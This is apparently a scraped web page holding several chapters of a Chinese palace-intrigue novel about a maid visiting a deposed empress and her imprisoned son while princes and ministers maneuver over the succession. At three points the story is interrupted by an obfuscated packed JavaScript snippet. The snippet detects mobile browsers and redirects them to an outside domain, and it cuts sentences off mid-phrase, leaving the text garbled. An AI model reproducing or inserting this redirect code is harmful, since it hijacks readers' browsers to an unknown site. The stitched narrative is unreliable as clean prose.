竺影解释说:“奴婢也是人,也是会害病的。寻常宫奴没有得医员诊治的殊荣,若是害了病只能靠自己挺过去,一来二去,便也学了些皮毛。” 孟闻道:“粗通一些,便敢私自换药吗?” 竺影道:“这副药方从前也治好了许多害伤寒的病人。三皇子既然信不过小人,因何唤小人前来?” 孟闻道:“那些书秘阁已派人来取走了,这里的事与你毫无关系,你却三番两次到这儿来,不觉奇怪吗?” 竺影不急不忙道:“当初也是这里的人托我去请医,我今日来,是因为这里仍有人病着。” 他垂下头,无奈地笑笑:“这宫里无时无处不有人染病。” 所以她如何顾得过来,怎么偏偏只顾了这一处呢? 竺影听懂了他的话外音,这回带来的药有两份,她一一摆在案上。 “这是今明两天的药,如果只是寻常伤寒,应该也快痊愈了。冬日里药冷得快,药效也散得快,将药放在夫人屋子里煎,现煎现服最好。至于另一份,是太医署开的药。三皇子信不过我,可以继续用着。医官害怕掉脑袋,自然不会在里面做手脚。” “劳你煞费苦心了。” 他不去看那些药,只是兀自转身走近窗边,凝睇落雪的屋檐。 竺影也顺着他的目光看去,只见覆雪的小院内,几间屋子窗牖紧闭着,屋后是宫墙,什么也看不到。 他叹道:“只是旧年沉疴,积郁于心,寻常药石是治不好的。” 一丝无可奈何的悲怆涌上心头,竺影默默拢袖起身。 孟闻听到那窸窣的动静,微微侧头看她。 “我想向你求一物。” “何物?”请辞的话未出口,她又停在原处,“但使小人能拿到的,还请三皇子说来。” 孟闻道:“若你途中得见被雪压折的松枝,请将它带过来。依宫人何时闲暇,晚些也无妨。” 她不解其间深意,还是应下了。 “三日后的这个时辰,请三皇子在这里等我。” 竺影朝他揖了一揖,辞行出了门。 天边的浮云不知何时又化作细雪落下,一刻不觉便沾上了衣裳。 徴音推门而出,疾行追上她:“宫人慢些走,三皇子说你来时没带伞,差我来给你送伞。” 竺影接过纸伞,笑道:“多谢,我下次来时再归还。” 归去路上,两棵青松还在凛冬屹立,只是不见了被压垮的松枝。 西华门处停了一辆车驾,其后走出一个缁衣广袖的年轻男子,肩上披着貂裘。他身后侍从撑着华盖,青色覆莲伞盖上落满了雪尘。 隔着覆雪的宫道,竺影遥遥望了他一眼,那人似察觉到远处的目光,也回望向她。 只一眼,落雪无声,相顾无言。 秘书监祝大人又受召入宫了。 听闻他前几日在家中养病,今日才重返朝中,二皇子孟晓早已等候他多时。 祝大人从鸿嘉殿回来,便坐在秘阁临窗的一张书案前,勘正下属编撰的经书。 二皇子来时未打招呼,祝从嘉甫一抬头,便见着他在侍者牵引下,穿过浩繁卷帙而来。 孟晓正了正衣冠,拢袖同他道礼:“见过祝大人。” 祝从嘉放下书卷,起身向他回礼道:“见过二殿下。不知殿下冒雪前来,有何贵干?” 孟晓请他落座,微笑道:“久闻祝先生博学多才,今日叨扰,是为求教而来。” 祝从嘉先已落座,自惭形秽而笑:“殿下言过了,下官天资愚钝,阅历也不曾盖过诸位同僚,委实当不起先生之称。” 孟晓道:“确有一事不解,非急事,非难事,也非易事。” “还请直言。” 对坐之人只撑着一双散涣无神的眼,静默恭听。不失礼节,又有意疏离。 “那日父皇召大人到鸿嘉殿,大人见他……可还安好?” “陛下身体已无大碍,只是尚为各地灾祸而忧心罢了,殿下不必担心。” 孟晓道:“可我尚有一事不解,大人说父皇正因今年灾祸而忧心,可他执着于重修观星楼一事又是为何?今年勉强拨出几笔赈灾款,若是再建一座楼,那可是一笔不小的数目啊……” 起初朝臣们阻挠这事,便是担忧这样大的一笔开支,从何而来? 祝从嘉正襟危坐道:“陛下视之为耻。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361909|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哦?”孟晓稍稍提起些兴致,复问道,“观星楼被毁是偶然,何来耻?” 祝从嘉道:“当年被毁的不仅是这座楼,还有并州以北的十一城,至今还在外族手里。这些年来陛下夙兴夜寐,放不下也忘不得。观星楼是必然要重建的,或早或晚罢了。” “原来如此。”孟晓恍然,“大人所言竟与我从别处听来的不同。” 祝从嘉道:“或许此事因果万千,下官也只能得见其中一面。” 孟晓垂头思量片刻,偶然瞥见一旁未来得及收拾的棋局。 “大人闲暇之时,也会在阁中弈棋吗?” “并非,下官已多年不执棋了。” “那么这棋局……” 祝从嘉淡笑道:“此局为襄王所下。实不相瞒,二殿下来之前,襄王已经来找过下官了。” 孟晓并不意外,他走向那棋盘,拈起一颗棋子观残局,却迟迟不落子。 他问道:“皇兄今日出宫,却还要赶着来见您一面,应当是为了很重要的事吧?” 祝从嘉道:“无非是鸿嘉殿前语,朝堂二三事。比起各地灾情、南边动乱这些关系民生的大事,又有何事算得上重要?襄王太过着急,许多事还未有个定论,便急于求取一个答案。换作是寻常问询,下官一定竭力为殿下解惑。可若到了揣度圣意这一步,想从下官这里探一探口风,并非明智之举。” 祝从嘉道:“陛下生平最恶臆度为据之徒,竞逐攘攘之辈。奉劝殿下一句,有些事、有些话千万不要问出口。圣意难测,天命难改。一旦有人走漏了风声,在陛下心中种下了怀疑的种子,便再也无法挽回了。 “事之端倪未显、局势纷淆之际,必然会有所保留。不若如此,天下逐利者众,逢乱象而争相谋利,只会使局势愈发混乱。” 孟晓笑道:“大人便是这样看他的吗?” 祝从嘉道:“襄王武断有余,沉稳不足,不及二殿下沉得住气。须得先安一家之事,才能治一县一州之事,末了才谈一境一国之事。欲往上登临,还需先往脚下看。与其观权势,不妨先观民事。” 孟晓道:“大人这话,就不怕我与襄王说去?” 祝从嘉淡淡道:“下官既然敢说,就没有什么是他听不得的。” 孟晓手中那颗棋子仍未落下,思忖良久才道出疑惑:“为何这棋局不完整,总觉得残缺了?” 祝从嘉道:“先前有宫人前来洒扫,应是不小心遗落了几颗棋子。” 孟晓低头一看,地上果真散落着三两枚棋子。 他躬身拾起棋子,又将其拢到棋盘上来,棋局便完整了。 他笑道:“难怪呢,原来还在棋盘外。” 祝从嘉早已拿起书卷,低眉敛目不再说起其他。 孟晓起身向他行了一礼,说道:“多谢大人解惑,我没有其他要问的了。大人身体有恙,留在阁中吧,不必相送了。” 祝从嘉轻咳了声,略略颔首道:“多谢殿下见谅。” 二皇子自然不会与一个病人计较这些礼节。 出了秘阁,早有侍从撑伞而来,在台基下等候。 檐外雪还在下着。 他抬手伸向檐外,接住几颗飘落的雪粒,仿若视这家国天下事,不过檐外掌中雪,触手可及。 5. 掌中栖雪(五) 三日后,又是一个落雪的清晨。 竺影系上新制的香囊,裹上披风踏出静和宫宫门,穿过长街往西面去。途径掖庭宫时,果然看到雪地里折断的松枝。 此时宫外无人,只有两只在雪地里觅食的麻雀,见她来了又惊走。 冷宫的门虚掩着,门栓没有落下,轻轻一推就开了。 孟闻正伏案,闻声往屋外看去,继而见她解下风帽,呼出的热气散去后,露出一双冻得湿润的眼。 没等他挪动身子,徴音已经从厨房里跑出来,几乎是飞奔上去,一面替她揉搓红肿的双手,一面又问着:“这么冷的天,怎么不等雪停了再来啊?” 竺影眨了眨眼,说:“不觉着冷。”轻轻一笑敷衍过去。 孟闻看了一眼墨碟里剩的些许墨汁,还是放下笔,拢了氅衣出门去。 屋外的两人一齐转过头来,竺影有些拘谨,捧着松枝依旧不忘行礼:“三皇子,您要的松枝,小人替您拾来了。” 他让徴音将松枝拿去,又问竺影:“你不问我拿这松枝作何用处吗?” 她想了想,颇有些天真道:“还有几日便是冬节,小人来时也见掖庭的宫人在折松枝,想是拿来插瓶,做清供的吧。” 孟闻不置可否,其实冷宫里并无这些讲究。 他没回答,竺影有些局促地揉了揉双手,又笼进袖中。 “太医署没再开药,不知夫人可好些了?”她问。 “好些了。”孟闻转身朝另一边屋舍走去,又问她,“不知宫人可有空闲?” “正好得闲。”竺影亦步亦趋跟上去。 他停在紧闭的门窗前,“母亲说,她想见你。” “我?”竺影深感意外,倒是比她预想中更好接近,甚至不必费尽心机去铺陈什么,便要见到她相见之人了。 “小人贸然前去,会不会惊扰了夫人?” “不会。”孟闻道。 徴音道:“羽音才盛了饭食送去,我去看看夫人是否用完了饭。” 孟闻点头道:“去吧。” 竺影同他在屋外候着,时不时悄悄打量他一眼。 许是冷宫常年不见暖阳,而他久居低檐下,肤如白玉。至于手指上生的冻疮,像玉里飘的棉絮,多了些瑕疵。 素簪素衣,便衬得他更为暗淡。 转眼太子已废了七年,竺影快不记得他锦衣玉簪的模样了。 她默默观着雪中的人,而他只看着庭中静谧白雪,什么话也不说。 没过多久,徴音端着食案从屋里出来,食案上还剩下半碗豆羹。 竺影头一回知道,原来她吃着这样的粗茶淡饭,连寻常宫人都比不得。 孟闻一看她,她便无奈摇头,回禀道:“夫人依旧无甚胃口,精神也不大好,只吃了一些。” 他神色淡淡,只道:“已经比昨日好,不必勉强了。” 徴音叹息一声,端着残羹往厨下去了。 “进来罢。” 孟闻推开门,掀了一道帘子引她入内。 竺影迈步往帘中探去,狭窄的屋子里只能摆得下一张古朴的案几,一张陈旧的床榻,除此以外什么装饰也没有。 窗格上的纸糊了一层又一层,门缝透过的天光照彻浮动的微尘,屋内只生了一盆炭火,腥苦的药味在冷冬里凝滞不消,也不知这里的人是怎么熬过了七年岁月。 这地方太沉闷,榻上病着的人也昏沉沉。 羽音本守在陆皇后榻侧,见有人来了,自觉让出了位置。 孟闻走到榻边蹲下,握住陆皇后的手,轻声将她从浅眠中唤醒。 “母亲,她来了。” 丝与麻的织物摩擦发出窸窣声响,榻上的夫人在旁人搀扶下勉强坐起身来。 竺影缓缓走过去,与陆皇后的视线对上。 只见她伤寒已经痊愈,不再咳嗽,却仍旧一副消瘦面容,孱僽脸色,仿佛一举一动都耗尽所有的气力。 哪里像个活人啊,分明了无生气。 在很久很久以前,她们曾有过一面之缘,彼时竺影还是随父兄进宫赴宴的小女郎,陆尚书之女陆韫之也还端坐在皇帝身侧,与君同尊,享无上荣华。 天意弄人,却在弹指间,教往昔风华灰飞烟灭。 曾经母仪天下的皇后见过了太多人面,谄媚的、虔诚的,可爱的与可憎的…… 或许记不起竺家女郎是何许人也。 可陆皇后盯着竺影的脸看了半晌,轻轻唤她:“好孩子,你叫什么名字?” “小人叫鸣竹。”竺影低着头应答。 陆皇后目光一滞,如同记不得这个名字,于是又问她:“鸣竹是后来的名字吧,你从前又叫什么?” 竺影不作声,只是摇头。 这凝眉沉思的神情落在陆皇后眼里,她像明白了什么,突然道:“闻儿,你同羽音出去吧。” 羽音问道:“夫人不需我照看着吗?” 孟闻看了竺影一眼,不知是叮嘱还是告诫,只道:“不过一时半刻,应母亲的话,先出去吧。” 狭窄的屋内只剩下两人,倒敞亮了些许,连呼吸都轻快许多。 “鸣竹,像明珠似的,一定也是家中长辈珍视的掌珠,走过来些吧,让我看一看你。”陆皇后唤她到榻边坐下,莫名亲昵地握住她的手。 竺影看着妇人的手,轻轻盖在她掌上,使被冻僵的手渐渐有了些温度,不由呢喃:“夫人说过的话,竟与我的母亲很像,这名字正是这样得来的。” 陆皇后道:“家人既珍视你,怎会舍得送你入宫呢?” 竺影垂下眸道:“家中获罪了……” 一句话囊括了所有前因后果。 陆皇后怔忡着道:“是我失言,不该问这些。” 竺影淡淡笑道:“不妨事,夫人看着病好了,能否让我来为您把脉?” 陆皇后没有说话,只是任由竺影搭上她的脉搏。 一息、两息、三息…… 竺影低头专注,把完了一只,又换另一只手,奈何五十息后,她面上早已僵住,嘴角再牵扯不出一丝笑意。 “怎么了?” 竺影仰头看向她,多年以来的怨恨与苦楚尽数落在她眼角眉梢,留下一道道深痕,那张脸上再没有点过胭脂,早不复昔日荣华。触及她眼中遗憾,像一朵开败的花,如何看都觉得惋惜。 是旧年沉疴,也是心疾。她从不善医人心,亲眼见过深宫中的许多花儿都像这样开败。 可她无法直说,只得牵强解释:“怪我学艺不精,竟什么也瞧不出来。” 陆皇后听不出谎,只安慰她说:“哪里能怪你一个小女娘?其实不必为我费这些心思,闻儿叫你过来不是为其他,只是……我想见见你罢了。” 废后纯粹只是为见她,还是像见昔日的家人,竺影不懂。 她与陆芃同龄,借着那点虚无缥缈的联系,不知所谓地闯进这西苑里来,归根结底只是别有用心。 “我见夫人神色疲惫,料想近来难得好眠?这只香囊里加了白芷和紫苏,可以宁神解郁。赠给夫人可好?”她从腰间解下一只香囊,递到废后面前。 陆皇后垂眸凝着这小物件,暮山紫的绸缎上绣着云纹,穗子是青罗丝带编的酢浆草结,其下悬着一双青绿流苏,很是漂亮。 材质不寻常,调香也不寻常。 陆皇后问:“这香并不常见,是谁教你调制的?” 竺影道:“是掖庭里的宫人。从前我在掖庭为贵人熏衣时,同她们学的。” 陆皇后问言呐呐:“原来是这般……” 竺影道:“不是什么珍贵物什,只盼着夫人心情能好些。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361910|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那我就收下了。”陆皇后拿着香囊,宁静又慈祥地笑着。 竺影终是不忍再看下去,只得请辞:“晚些我还得赶回去呢,就不打扰夫人休憩了。” “好,叫羽音送一送你吧。”皇后撒了手,由着她离去。 她离了那间逼仄沉闷的屋子,才得以在天光下肆意地喘息。 徴音羽音已经在别处忙碌了,孟闻还在门外候着。 竺影同他道:“夫人又睡下了。” “嗯。”他淡淡应了声,没问陆皇后同她说了些什么。 竺影又道:“小人今日已出来很久,该回去了。” 本该就此别过,转身时他忽然叫住她:“为何如此?” “什么?”竺影听着他不着前言后语的话,有些茫然。 “你职权不高,胆子不小。”他神色一凛,冷淡道,“可我尚且困于一隅,失却先机。你几次三番冒险来这里,又是图什么?” 他大概是思来想去仍然想不通,又信不过,是个爱刨根问底的人。 竺影笑着答:“小人初入宫时在鸣鸾宫当值,曾受皇后恩典,权当是还了当年一桩恩吧。” “仅是如此?” “仅是如此。” 没有半句出于她的肺腑之言。 可她弯着眉眼勾起唇,笑中也多了分真诚,叫他纠不出半分错处。 “无事了,早些归去。”他张口时,声音哑了,嗓子像被冰天雪地冻住,只剩下稀松平常的话语。 “冷宫里严寒更甚,三皇子保重。”竺影朝他再拜,随即折返回道中,任由呼啸的寒风裹着她离去。 只盼着不久的将来,他早些出囹圄,不再需要一介宫人的怜悯。 停雪轩的雪还在下,小轩虽题名为停雪,落在此处的雪并不比别处少。 二皇子孟晓在轩中观雪,观困囿于凝冰之下的一池鱼。 竺影从静和宫外回来,那凝望便由池鱼转移至她身上。 “回来了?” “嗯。”她轻声应答。 “今日无事,只待你回来陪我用膳。”孟晓接过宁葭递来的狐裘,披在竺影身上,又携她往屋内走。 竺影将那遮住视线的绒毛拨开些许,说道:“让殿下久等了,早知该快些回来的。” 孟晓道:“此时回来正好,早些也还不饿,厨下送来的肉羹还在染炉上温着。” 竺影执着他冰冷的手,道:“可还是让殿下吹了好一阵的冷风。” 她一直知晓的,他每每立于廊下,便是在等她。 被人察觉了心思,他眉尾一扬,试图以一笑遮掩,又说起旁的事:“你几时换了熏香?” 竺影随口道:“屋里的熏香从未换过,回来路上途径梅园,许是沾染了那里的气味吧。” “不对。”孟晓俯身执起竺影的袖角,原有的熏香被被雪气盖住了一些。“不是花香,是香料的气味,除了丁香,还多了白芷与紫苏……并非你从前喜欢的。” 竺影想起今日去冷宫,交给路皇后的香囊曾被她揣在身上,难免沾惹一些。可这些不必去与他解释,是故随口诌了个由头:“近来睡得不好,这才加了两种宁神的香料。” 孟晓道:“从前不见你这样,冷宫里那位就这么不好对付?” 竺影道:“的确不好诓骗,难知他会不会信我。也不知陛下何时才能记起冷宫那位,要我再瞒下去,只怕会露出破绽。” “快了。”他宽慰道,“只待祝大人下一次进宫。” “殿下已经与祝大人谈妥了吗?” “也许吧,谁能想到秘书令也喜欢打哑谜?”他有意戏弄,偏偏给出个模棱两可的回答。 竺影拧起眉头佯装要怒,他即刻换了一副笑颜。 “自然是要谈妥的,不然真叫你白跑这么多趟了。” 6. 掌中栖雪(六) “那时朕于病中苏醒,见一众朝臣围聚上来,也不知是盼望朕安好,还是等着朕的遗诏。” 冷清寂静的大殿内,一箸香静默燃烧着,香烟顺着透过窗棂的光线攀爬,徐徐攀上金丝楠木的梁柱。 几个炉子中的银炭烧得哔剥作响,驱走周遭寒气,也熏得人口舌干燥。 炭炉簇拥着主位,座上披衣而坐者,正是当朝皇帝孟壅。 圣人一语掷地,臣子听了惶恐顿首。 “陛下不可妄语——” 皇帝孟雍只摆手笑道:“无妨无妨,圣人尚且百无禁忌,你怎么还信这种妄诞?” 见天子只将其视作玩笑话,尚泓才缓缓抬起头来,笑着道:“诸位大人也只是忧君心切,绝无他意。” 孟雍听罢这话,又走下主位,在大殿里来回踱步,奚落起他来:“这会,你又愿与他们为伍了?” 尚常侍一颗悬着的心刚放下,便又开始咋舌。 孟雍遂不理会他,转而看向一旁跽坐的祝大人:“已近岁暮,北地之事仍未了,朕这一口气还闷在胸中,祝卿可有法子治一治他们?” 祝从嘉离席而拜,回道:“屡屡阻挠在北地重修观星楼,或许只是为首几位大臣的意思,众臣未必愿意阻拦陛下。但使王氏与梁氏两家沆瀣一气,必会有群臣附和,剩下些零落的声音,便听不见了。” 皇帝又问:“那当如何?” 祝从嘉道:“成年皇子当中,只有皇子觉封了王,转眼二皇子也到了出宫开府的年纪。陛下不如趁此时提拔陈氏,顺道拉拢崔氏,余下的那些便趁着冬至宴赏,敲打一番也好。至于前往北地之事,尚缺少一个契机,重修旧楼算不上一个好由头。此为微臣拙见,陛下不必尽信,不妨问问太史令与其他臣僚的意思。” 孟雍道:“陈氏为二皇子母族,尚书令陈柯已是当朝宰辅,不作打压也就罢了,卿为何反其道而行之?” 祝从嘉道:“王粱两家怎忍见陈氏坐大呢?” 皇帝听完抚掌而笑,直言:“便依祝卿所言。” 笑声响彻大殿,尚常侍立在一旁,不觉抬袖揩汗,真真是好一对昏君与奸臣。 孟雍又走回主位落座,再抛出一问:“祝卿以为,朕膝下四子如何?” 祝大人听了皇帝的发问,顿了良久不言。 自废后幽禁冷宫以来,陛下头一次提及四子,将三皇子也囊括在内。 也许是从鬼门关里走了一遭,又经祝大人提醒,他终于想起来自己在冷宫中还有个儿子。 祝从嘉正忖度着,怎样一套说辞,才能使得病未痊愈的天子既不动怒,也不动气。 “怎么?”永朔皇帝复又发问,“世人都说你博学,天下之事无所不晓,朕随口一问竟将你难倒了?” 祝从嘉避席长拜,回道:“君王一言一行皆关乎社稷,是以臣不可以随意答。微臣以为,皇子觉武勇过人,论及操戈演武之术无人能出其右,只是独断而专行,性情有待磨练。皇子晓自幼聪颖,机敏善辨,论才学为众皇子之首,奈何多谋寡断,心性有待磨练。皇子望尚且年幼,却明于事理,勤学刻苦,颇得太傅赏识。只是论及性情,太过温和,易被旁人左右。 “至于三皇子孟闻——” 这是许久不被提起的一个人了,祝从嘉顿了顿,却又给陛下卖了个关子:“已经多年不见,臣对此知之甚少,故不敢妄自断言。” 永朔皇帝一手撑着扶手,一手轻敲金炉壁,沉思片刻,说道:“那你且说说,他少时如何?” 祝从嘉道:“三皇子少年时好文,不专武,比之前两位皇子资质略平庸了些。可微臣依稀记得,多年以前三皇子在林场猎鹿,以幼鹿待哺为由,不忍射杀母鹿,从而被他人抢去先机。” 皇帝问:“祝卿此话,是褒还是贬?” 祝从嘉道:“能挽弓猎鹿的英杰常有,年少赤忱却最是难得。放在从前,谁人不称赞三皇子宽厚,有仁德之心。” 孟雍又道:“祝卿的意思,是几位皇子各有千秋,但属二皇子晓品性才学最佳?” 祝从嘉拱手再拜道:“微臣方才所言,是以衡量一个臣子的标准,而非出于立储的考量。私以为在社稷面前,四位皇子皆不及陛下。” “哈哈哈哈——”皇帝抚掌大笑道,“祝卿啊祝卿,何时与那些宦官学来的溜须拍马,哄朕开心?” 祝从嘉道:“微臣所言皆出自肺腑,若陛下咨臣以立储之事,仅听臣一人之言或许有失公允。不过料想陛下自有定夺,立长立嫡皆循旧例,废长立贤亦是情理之中。” “你说的对,朕的确该先见一见他。”皇帝一挥广袖腾出手来,吩咐道,“尚泓,置笔研墨……” 尚泓刚应声上前,皇帝忽又转了念头。 “罢了,还是再等等。” 尚常侍此时问了一句:“今年冬至,西苑份例如旧吗?可还需要再赏赐些什么?” 皇帝摆了摆手,道:“如旧,你自行决断吧。” 十一月廿九这天是冬至,民间常言若冬至落在月尾,这个冬日将极长久而寒冷。 本来还说今年不如何冷,月末雪又厚了起来。 天气竟也如斯反复无常。 太史监一群神棍占吉报丰,将这一场压塌松枝与屋顶的大雪吹嘘成了丰年瑞雪,直言今年逢上了祥冬,明年必定海晏河清,盛世清平。 皇帝听后大喜,群臣纷纷上书拜贺冬节,领了赏赐归家团圆。 阖宫上下挂起了灯,喜气洋洋,寻常宫人也能分得一碗娇耳。 静和宫里也有贵主来,是崔太常家的女公子崔月仪。宴后,宜夫人特地邀她到暖阁里吃茶。 热气腾腾的娇耳端上了桌,几个小宫女聚在一起,彼此汲取一点暖意。她们望着那燎香生烟的暖阁,又想起刚刚踏入其中的客人,不由好奇。 其中一个说道:“你们方才看到了吗?今日崔太常家的女儿进宫,宜夫人还请她到了咱们宫里来,当时二皇子也在呢。” 另一个小宫女嘴里娇耳还未咽下,便忍不住附和着:“我藏在柱子后偷偷看了一眼,崔女郎发髻梳得高高的,簪着花树金步摇,腰间缀满琳琅玉,一身打扮漂亮极了,莫说是贵女,说是神仙中人也不为过。” “随大人们入宫拜贺的家眷不少,夫人却只请了崔家女郎,算下来二皇子正到了选皇子妃的年纪,莫不是早就钟意于她?” “兴许吧,崔家女郎那么漂亮,崔太常又与夫人的父亲交好,夫人自然喜欢的。” 忽有个小宫女天真发问:“那兰姊姊怎么办?” 此刻提起她,难免有些不合时宜,众人不知怎么接话了。 有个宫人捏了捏她的脸,笑道:“我的傻阿颜,纵使殿下待她再好,她终归和我们这些做奴婢的一样,和京城里那些女郎是不同的。” 阿颜不解道:“可是夫人也喜欢她啊。” “喜欢又如何?你瞧襄王府里侧妃媵妾多得数不尽,正妃却只有一位,到底是两回事啊——” “住口!” 一声呵斥打断了饭桌上的闲言,众人都回头看去,来人正是宜夫人身边的掌事宫女紫裳。 几人倏然寂静,谁也没再开口。 紫裳道:“夫人怜恤宫人平日里辛苦,给了赏赐许你们休息,你们反倒在此处碎语,仔细你们的舌头!” 一时间碗筷都搁下,宫人们慌忙站起来,三言两语为自己辩解:“姑姑,我们知错,下回不敢了。” 紫裳望一眼暖阁的方向,又回过头来瞟几人一眼,训斥道:“贵主尚还在宫中,若有半句闲言飘进了她耳朵里,夫人唯你们是问!” 宫人们再三保证,这些小事也就翻了篇。 紫裳一摆手,本要打发了她们,竺影恰在此时捧着一尊梅瓶从这处经过。 她似是什么恶语都没听见,只当作无事发生,笑吟吟看向紫裳道:“谁竟惹姑姑生气了?客人还未走就训斥起人来。” 紫裳冷笑道:“怪她们记吃不记打,得些好处便不知轻重了。” “哦——原来是这样啊。”竺影笑意不改,也学着那阴阳怪调,“夫人要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宜夫人道:“无妨,外头风雪大,本不该让你走这么远的。二郎在停雪轩等你,快些去罢。” 竺影迟疑片刻,缓缓点头道好。 夫人又叮嘱她:“他近来心情不好,此时正与我置气,还需你好好开解一番。” 果然如她所想,这母子二人又生了龃龉。 竺影隐隐猜到与崔家女郎入宫有关,又或许与鸿嘉殿有关,毕竟二皇子的事夫人从不轻易做主。 她在暖融融的屋子里没待多久,就又往冷地去。 数日不入停雪轩,重重积雪已压檐。 紫锦绣袍的青年徘徊廊下观雪,独立风霜前。 “殿下。” 竺影远远唤他一声。 “忙完了?” 孟晓抬眼一望,眉目乍然舒展。 “嗯。”竺影淡淡应答,走到他身侧去,“殿下怎么一直在屋外呀?” 孟晓道:“受些冷,才觉着清醒些。” “静和宫有客,二皇子却在这里,不去同夫人待客。”竺影知道说这些话他未必会高兴,可还是忍不住问起,“殿下这几日与夫人生了嫌隙?” 他眨着一双温和的眼,笑问:“有吗?” 过了一会儿,他又平静自言:“何时没有过?” 竺影道:“宫里人都知晓殿下要出宫了,除了每日晨昏定省,您去见夫人的次数却愈发地少。今日小宴,怕也是不欢而散吧。” “好端端提她做什么?平添一桩心事。”明谌这样说着。 她遂闭了嘴,没再开口。 可他真能自我纾解,便不会长久立在冷风里,凝睇一池枯荷了。 他又说起:“冬至时,父皇给冷宫送去了赏赐,这么多年不闻不问都过去了,今年倒是头一遭。对你来说应该算个好消息。” 竺影嗤道:“这算什么好消息?” “不算么?”孟晓道,“如此一来,你就不必再去那鬼地方了。” 是啊,她不必再去。 雪中送炭的赠与和锦上添花差了十万八千里。 三皇子早晚会出冷宫的,届时也不再需要她一个小小宫人的施予。 一切沿着她料定的方向发展,竺影却觉得心中惴惴,仍有不安。 7. 掌中栖雪(七) 冬至后,皇帝宴赏过群臣,又携几位近臣踱步在园中看雪。 随侍陛下左右者,当朝宰辅尚书令陈柯,崔太常,秘书令祝从嘉,尚常侍,还有两个新来的小太监。 两柄明黄华盖自松树下缓缓移出,将落于天子头上的雪尽数遮去。华盖之下,东风吹起伞边莲瓣,伞下铜铃当啷作响。 皇帝孟雍望着园中冒雪捡拾松枝的几个宫人,不由感慨:“今年的雪下得极大,园里的松枝又被压塌了。” 崔太常笑道:“今年冬月天赐瑞雪,是好兆头,明年必定是丰年。” 皇帝问道:“你什么时候会看天了?同太史令学的?” 崔太常道:“臣本书生,不通晓天文,未敢以为必然也。只是见陛下几日郁结不展,妄图以美言博陛下一笑罢了。” 皇帝叹息道:“每逢雪日,朕便想起当年北地一场寒灾,冻死了许许多多的人。年初,北地复有雨雪杀万物,夏日东南发了大水,怀山襄陵,中原又旱,国库入不敷支,朕亦心力难支。美言谁人都会说,你若想令朕展颜,倒不如将这些事解决了。” 崔太常木着脑袋,不敢答话了。 尚常侍道:“陛下忧国忧民,为此积劳成疾,天又何忍怪罪?故而降下一场瑞雪,昭圣德之崇高,广天下之人而告知。陛下难得有闲赏雪,不妨好好歇歇。” “哼。”皇帝仅是嗤之一笑,道,“净会拍马屁。” 崔太常竖起耳朵听着,恨不得与尚常侍逐字逐句学习。 不知不觉,众人已行至园子正中,恰望见前方几株高大的乔木,傲然立在雪中。 皇帝指着远处一株皑皑的棠棣,感慨道:“朕昨日在御花园中,见院中棠棣覆雪,遮天蔽日,有宫人伐其枝柯。忽想起旧年在王府,朕也曾亲手植下两株棠棣树,想来到来年春,应也是亭亭如盖了。树犹如此,教人情何以堪?” “如此的话——” 身后忽然传来一声短叹,戛然而止。 皇帝转头,唤起身后那个叫长芨的小太监:“怎么?你有话要说?” 小太监拢袖垂首,恭恭敬敬回道:“陛下既怀念故园之物,何不移栽到宫中来?常常思之,何不见之?” 皇帝轻笑道:“只怕树在故园已根深蒂固,移栽了不成活。” 小太监听完一愣,又道:“若树不能移,又为何不到故园去?” 不知是不是这话触怒了他,皇帝登时凝住了笑意,一个字也不说,直教人心慌意乱地揣摩圣意。 祝从嘉出言替他辩解:“长芨虽愚钝了些,但胜在诚恳,臣才将他带在身边。小子若有无知冒犯之处,还望陛下勿要降罪于他。” 皇帝摆了摆手,不以为意道:“无妨无妨,既是你秘阁的人,朕也并非不明事理,动辄降罪于人。” 祝从嘉道:“多谢陛下宽宏。” 皇帝又道:“既是祝大人认准的人,想来定有过人之处。适逢鸿嘉殿员缺,便将他调至御前吧。” 长芨还在愣着,尚泓提醒他道:“还不快谢恩?” 小太监这才手忙脚乱地跪下,叩谢皇恩。 皇帝遥遥一指鸣鸾宫,问道:“尚泓,此前命你着手翻新鸣鸾宫,办得如何了?” 尚常侍道:“回禀陛下,鸣鸾宫里许久不住人,许多物件都已陈旧,上上下下都修葺起来,还须得一些时日。” “正好。”皇帝微微颔首道,“便将王府那两棵棠棣,移栽到鸣鸾宫里去罢。” 尚常侍道:“是。” 走过那两棵棠,皇帝已然觉得兴致寥寥,说道:“宫中雪景年年如此,还是回去吧。告知那几个捡松枝的人,等雪停了再来,不必冒雪劳碌了。” 两柄华盖伞又摇摇摆摆向着鸿嘉殿去。 陛下刚一走,尚常侍便拧着长芨的耳朵骂道:“你个实心眼的夯货!陛下说的是树吗?你听不懂就不要胡乱接话。” 长芨不解:“不是树?那陛下说的是什么?” 尚常侍朝冷宫的方向眺了一眼,心里想着,陛下说的是人呐。 他并未与长芨解释,只语重心长道:“你才刚调来鸿嘉殿几日啊?今日走运,胜在陛下宽宏仁厚,下回再这样莽莽撞撞的话,可没人能保你。在陛下跟前须得谨言慎行,上头讲的话,要用脑子想,要用心听。” “小人记着了。”长芨点头,一一记着。 尚常侍回到鸿嘉殿时,陛下正在拟一道手谕。 